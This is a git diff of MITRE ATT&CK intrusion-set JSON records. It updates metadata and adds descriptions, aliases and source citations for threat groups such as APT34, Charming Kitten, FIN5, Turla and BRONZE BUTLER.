--- a/enterprise-attack/intrusion-set/intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--417a1b91-af85-460b-af76-b8d653dcde0a",
+    "id": "bundle--7f1ed930-5a22-464c-8baf-22c8a1d3da9e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:47.177Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Ke3chang",
             "description": "Ke3chang is a threat group attributed to actors operating out of China. (Citation: Villeneuve et al 2014)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6.json b/enterprise-attack/intrusion-set/intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6.json
new file mode 100644
index 0000000000..1ccb35d26f
--- /dev/null
+++ b/enterprise-attack/intrusion-set/intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6.json
@@ -0,0 +1,34 @@
+{
+    "type": "bundle",
+    "id": "bundle--a07d636b-7468-4396-8fcf-463b041d1b8b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "APT34",
+            "description": "APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)",
+            "aliases": [
+                "APT34"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0057",
+                    "external_id": "G0057"
+                },
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/intrusion-set/intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662.json b/enterprise-attack/intrusion-set/intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662.json
index 6fd7bc7cfc..95c6f46338 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6d9085f9-810b-427a-8ae3-5eb4a106694d",
+    "id": "bundle--3a6b40f4-6091-4aa4-92a6-3985dfb68a4d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:47.955Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT1",
             "description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People\u2019s Liberation Army (PLA) General Staff Department\u2019s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40.json b/enterprise-attack/intrusion-set/intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40.json
index df6da16b93..5d41739a1c 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--480256ad-95e4-4451-8aa7-90055e118e2d",
+    "id": "bundle--8b2b4207-fbcc-4218-9c91-839400ac7642",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:08.304Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Group5",
             "description": "Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--7636484c-adc5-45d4-9bfe-c3e062fbc4a0.json b/enterprise-attack/intrusion-set/intrusion-set--7636484c-adc5-45d4-9bfe-c3e062fbc4a0.json
new file mode 100644
index 0000000000..40a9cde197
--- /dev/null
+++ b/enterprise-attack/intrusion-set/intrusion-set--7636484c-adc5-45d4-9bfe-c3e062fbc4a0.json
@@ -0,0 +1,34 @@
+{
+    "type": "bundle",
+    "id": "bundle--49677f50-f123-4111-9a0b-778ded34d88c",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--7636484c-adc5-45d4-9bfe-c3e062fbc4a0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Charming Kitten",
+            "description": "is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK.  usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, Rocket Kitten, resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)",
+            "aliases": [
+                "Charming Kitten"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0058",
+                    "external_id": "G0058"
+                },
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/intrusion-set/intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6.json b/enterprise-attack/intrusion-set/intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6.json
index c96c7a09ba..077bae60ae 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a3774285-6ea0-44e7-a14e-ac00d5e90c8e",
+    "id": "bundle--e4480391-9af2-4b26-ab0f-a5e7ba7cd03d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,12 +8,13 @@
             "id": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:49.816Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Turla",
-            "description": "Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. (Citation: Kaspersky Turla)",
+            "description": "Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. They are known for conducting watering hole and spearphishing campaigns. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017)",
             "aliases": [
                 "Turla",
-                "Waterbug"
+                "Waterbug",
+                "WhiteBear"
             ],
             "external_references": [
                 {
@@ -24,7 +25,12 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
+                },
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446.json b/enterprise-attack/intrusion-set/intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446.json
index fce82c911a..0ced14d479 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b90b9588-e239-4cdd-a03a-c1bc1c6a0d72",
+    "id": "bundle--acc6e64e-2b64-49b0-b5c3-b016a4d3778c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:04.179Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Poseidon Group",
             "description": "Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm. (Citation: Kaspersky Poseidon Group)",
             "aliases": [
@@ -23,7 +23,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022.json b/enterprise-attack/intrusion-set/intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022.json
new file mode 100644
index 0000000000..da8dccd72c
--- /dev/null
+++ b/enterprise-attack/intrusion-set/intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022.json
@@ -0,0 +1,47 @@
+{
+    "type": "bundle",
+    "id": "bundle--4d1d71f4-2786-45a7-a102-b4cf6a0a26d8",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "FIN5",
+            "description": "FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)\n\nContributors: Walker Johnson",
+            "aliases": [
+                "FIN5"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0053",
+                    "external_id": "G0053"
+                },
+                {
+                    "source_name": "FireEye Respond Webinar July 2017",
+                    "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.",
+                    "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html"
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                },
+                {
+                    "source_name": "DarkReading FireEye FIN5 Oct 2015",
+                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
+                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Walker Johnson"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/intrusion-set/intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7.json b/enterprise-attack/intrusion-set/intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7.json
index 27b2de123d..cb48cf7f0e 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ff779ca8-e866-40f7-a790-2a3785cbeada",
+    "id": "bundle--c288ca0b-d317-4cf1-a55e-f14aa1c24480",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:01.092Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Lotus Blossom",
-            "description": "Lotus Blossom is threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015) It is also known as Spring Dragon. (Citation: Spring Dragon Jun 2015)",
+            "description": "Lotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)",
             "aliases": [
                 "Lotus Blossom",
                 "Spring Dragon"
@@ -25,11 +25,6 @@
                     "source_name": "Lotus Blossom Jun 2015",
                     "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                     "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html"
-                },
-                {
-                    "source_name": "Spring Dragon Jun 2015",
-                    "description": "Baumgartner, K.. (2015, June 17). The Spring Dragon APT. Retrieved February 15, 2016.",
-                    "url": "https://securelist.com/blog/research/70726/the-spring-dragon-apt/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8.json b/enterprise-attack/intrusion-set/intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8.json
index 047ae5872c..6f177b2948 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e90c9c74-a843-483f-90da-6f74a8838237",
+    "id": "bundle--7661dfe7-94f4-4397-8b80-f94846e1aba0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:06.390Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Stealth Falcon",
             "description": "Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542.json b/enterprise-attack/intrusion-set/intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542.json
index e8ebcd5ab0..8e00f3aea8 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b42107cf-bb2e-4c09-a7ff-90200a79f3e6",
+    "id": "bundle--94f3ddbb-3583-4359-b4be-8b8ec5d736b8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,13 +8,14 @@
             "id": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:52.748Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT29",
             "description": "APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)",
             "aliases": [
                 "APT29",
                 "The Dukes",
-                "Cozy Bear"
+                "Cozy Bear",
+                "CozyDuke"
             ],
             "external_references": [
                 {
diff --git a/enterprise-attack/intrusion-set/intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063.json b/enterprise-attack/intrusion-set/intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063.json
index e708829c48..c3919c0235 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bb105cd2-6d0d-42b5-9541-873ac735cb00",
+    "id": "bundle--007cd9ce-ec13-43a8-b2d6-5160dbe6a23f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:46.390Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Cleaver",
             "description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90.json b/enterprise-attack/intrusion-set/intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90.json
new file mode 100644
index 0000000000..1247eeed39
--- /dev/null
+++ b/enterprise-attack/intrusion-set/intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90.json
@@ -0,0 +1,41 @@
+{
+    "type": "bundle",
+    "id": "bundle--7d679052-ef72-4e3a-88f5-ab799f94696e",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "BRONZE BUTLER",
+            "description": "BRONZE BUTLER is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)",
+            "aliases": [
+                "BRONZE BUTLER",
+                "REDBALDKNIGHT",
+                "Tick"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0060",
+                    "external_id": "G0060"
+                },
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                },
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/intrusion-set/intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772.json b/enterprise-attack/intrusion-set/intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772.json
index 1c62b5f415..d41e75bcfa 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--edc28259-8013-4895-8b9a-568edfd622a9",
+    "id": "bundle--36e84732-6563-4737-a9b9-a668ad41ba11",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:07.928Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "MONSOON",
             "description": "MONSOON is the name of an espionage campaign that apparently started in December 2015 and was ongoing as of July 2016. It is believed that the actors behind MONSOON are the same actors behind Operation Hangover. While attribution is unclear, the campaign has targeted victims with military and political interests in the Indian Subcontinent. (Citation: Forcepoint Monsoon) Operation Hangover has been reported as being Indian in origin, and can be traced back to 2010. (Citation: Operation Hangover May 2013)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9.json b/enterprise-attack/intrusion-set/intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9.json
index 73a2aba0f6..8381f7f62a 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d8eba648-866d-49de-a776-9f5e9305ced2",
+    "id": "bundle--31a5e303-a7aa-43b3-ba5b-4b80c3630d0e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:54.697Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Equation",
             "description": "Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383.json b/enterprise-attack/intrusion-set/intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383.json
index 8c812a7bbf..81264c19a5 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--73746fad-9ef9-4739-9520-71efe59325d5",
+    "id": "bundle--e872f82a-aed8-4726-98cd-b39218f284ef",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:50.624Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Darkhotel",
             "description": "Darkhotel is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi\u2011Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973.json b/enterprise-attack/intrusion-set/intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973.json
index f5a39e2f9b..1e13e59f8c 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--63ae7e52-2b2e-42c7-a31b-275d34a09053",
+    "id": "bundle--a2c6d276-ee08-40a9-953c-6507fd01b92d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:45.629Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Axiom",
-            "description": " (Citation: Axiom) is a cyber espionage group suspected to be associated with the Chinese government. (Citation: Axiom) It is responsible for the Operation SMN campaign. (Citation: Axiom) Though both this group and Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)",
+            "description": " (Citation: Axiom) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Axiom) Though both this group and Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)",
             "aliases": [
                 "Axiom",
                 "Group 72"
@@ -34,7 +34,7 @@
                 {
                     "source_name": "Kaspersky Winnti June 2015",
                     "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.",
-                    "url": "https://securelist.com/blog/incidents/70991/games-are-over/"
+                    "url": "https://securelist.com/games-are-over/70991/"
                 },
                 {
                     "source_name": "Novetta Winnti April 2015",
diff --git a/enterprise-attack/intrusion-set/intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064.json b/enterprise-attack/intrusion-set/intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064.json
index 23d1ceb971..61816a4030 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064.json
